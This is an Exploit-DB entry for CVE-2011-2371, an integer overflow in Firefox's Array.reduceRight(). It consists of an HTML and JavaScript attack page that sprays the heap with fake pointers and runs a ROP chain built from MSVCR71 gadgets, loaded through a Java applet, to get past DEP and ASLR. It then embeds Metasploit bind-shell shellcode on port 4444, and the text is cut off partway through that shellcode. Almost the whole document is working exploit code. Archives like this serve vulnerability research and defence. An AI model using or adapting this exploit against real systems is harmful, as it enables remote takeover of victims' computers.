Exploit-DB #17974
Description: Mozilla Firefox - 'Array.reduceRight()' Integer Overflow (1)
Type: remote
Platform: windows
Date: 2011-10-12
Author: ryujin

Exploit:
# Title: Mozilla Firefox Array.reduceRight() Integer Overflow Exploit
# Date: 12 Oct 2011
# Author: Matteo Memelli  ryujin -AT- offensive-security.com
# CVE-2011-2371
# Full exploit package: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17974.zip

<html>
<head>
<title>ff-i-<3-u</title>
</head>
<body>
<center>
<br />
Title: Mozilla Firefox Array.reduceRight() Integer Overflow Exploit<br />
Date: 12 Oct 2011<br />
Author: Matteo Memelli  ryujin -AT- offensive-security.com<br />
CVE-2011-2371<br />
Full exploit package: <br />
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17974.zip <br />
<br />
Thx to dookie for helping ;)<br/>
Vulnerability discovered by Chris Rohlf and Yan Ivnitskiy of Matasano Security<br />
http://www.mozilla.org/security/announce/2011/mfsa2011-22.html<br/>
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2371<br/>
DEP / ASLR bypassing through JAVA MSVCR71 sayonara rop chain<br/>
Tested on Windows 7 Ultimate / firefox 3.6.16 and 3.6.17<br/><br/>
<APPLET id="MyApplet" code="ph33r.class" width=150 height=50>
You need a Java-enabled browser to pwn this.
</APPLET>
</center>
<script type="text/javascript">
var applet = document.getElementById('MyApplet');

function spray() {
        // fake object pointers
        var ptrs = unescape("%u4141" +       // padding
                            // MOV EDX,DWORD[ESI] 0c000048=0c00007c
                            "%u0048%u0c00" +
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141"       + // padding
                            // PIVOT MSVCR71.dll 0x7C370EEF LEA ESP,[ESI-3]
                            //                              RETN 1C75
                            "%u0EEF%u7C37" + 
                            "%u4141%u4141" + // padding
                            "%u4141"       + // padding
                            "%u240c%u3410" + // 3410240c RETN after PIVOT
                            "%u007c%u0c00" + // 0c00007c PTR TO END OF BUFFER
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u4141%u4141" + // padding
                            "%u002e%u0c00"); // 0c00007c -> 0c00002e 
                                             // CALL PIVOT 0x7C370EEF
                                
        var bheader    = 0x12/2; // u.n.d.e.f.i.n.e.d. string 
                                 // beginning of each array element
        var nullt      = 0x2/2;  // string null terminator
        
        // 0:000> ? 0c001cbe   - 0c000012  
        // Evaluate expression: 7340 = 00001cac
        var espoffset  = (7340 /2) - ptrs.length;
        var esppadding = unescape("%u0c0c%u0c0c"); 
        while(esppadding.length < espoffset) {esppadding += esppadding;}
        esppadding = esppadding.substring(0, espoffset);

        // sayonara rop chain
        rop  = unescape("%u4cc1%u7c34"); // pop eax;ret;
        rop += unescape("%u10c2%u7c34"); // pop ecx;pop ecx;ret;
        rop += unescape("%u2462%u7c34"); // xor chain; call eax {0x7C3410C2}
        rop += unescape("%uc510%u7c38"); // writeable loc for lpflOldProtect
        rop += unescape("%u5645%u7c36"); // pop esi;ret;
        rop += unescape("%u5243%u7c34"); // ret;
        rop += unescape("%u8f46%u7c34"); // pop ebp;ret;
        rop += unescape("%u87ec%u7c34"); // call eax;
        rop += unescape("%u4cc1%u7c34"); // pop eax;ret;
        rop += unescape("%ufdff%uffff"); // {size}
        rop += unescape("%ud749%u7c34"); // neg eax;ret; {adjust size}
        rop += unescape("%u58aa%u7c34"); // add ebx, eax;ret; {size into ebx}
        rop += unescape("%u39fa%u7c34"); // pop edx;ret;
        rop += unescape("%uffc0%uffff"); // {flag}
        rop += unescape("%u1eb1%u7c35"); // neg edx;ret; {adjust flag}
        rop += unescape("%u4648%u7c35"); // pop edi;ret;
        rop += unescape("%u30ea%u7c35"); // mov eax,[eax];ret;
        rop += unescape("%u4cc1%u7c34"); // pop eax;ret;
        rop += unescape("%ua181%u7c37"); // (VP RVA + 30 - {0xEF adjustment}
        rop += unescape("%u5aeb%u7c35"); // sub eax,30;ret;
        rop += unescape("%u8c81%u7c37"); // pushad; add al,0xef; ret;
        rop += unescape("%u683f%u7c36"); // push esp;ret;
        rop += unescape("%ubc90%u0c0c%u0c0c"); // NOP / MOV ESP,0x0c0c0c0c

        // windows/shell_bind_tcp - 341 bytes
        // http://www.metasploit.com
        // VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
        // InitialAutoRunScript=, AutoRunScript=
        var shell = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" +
                             "%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" +
                             "%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" +
                             "%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" +
                             "%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" +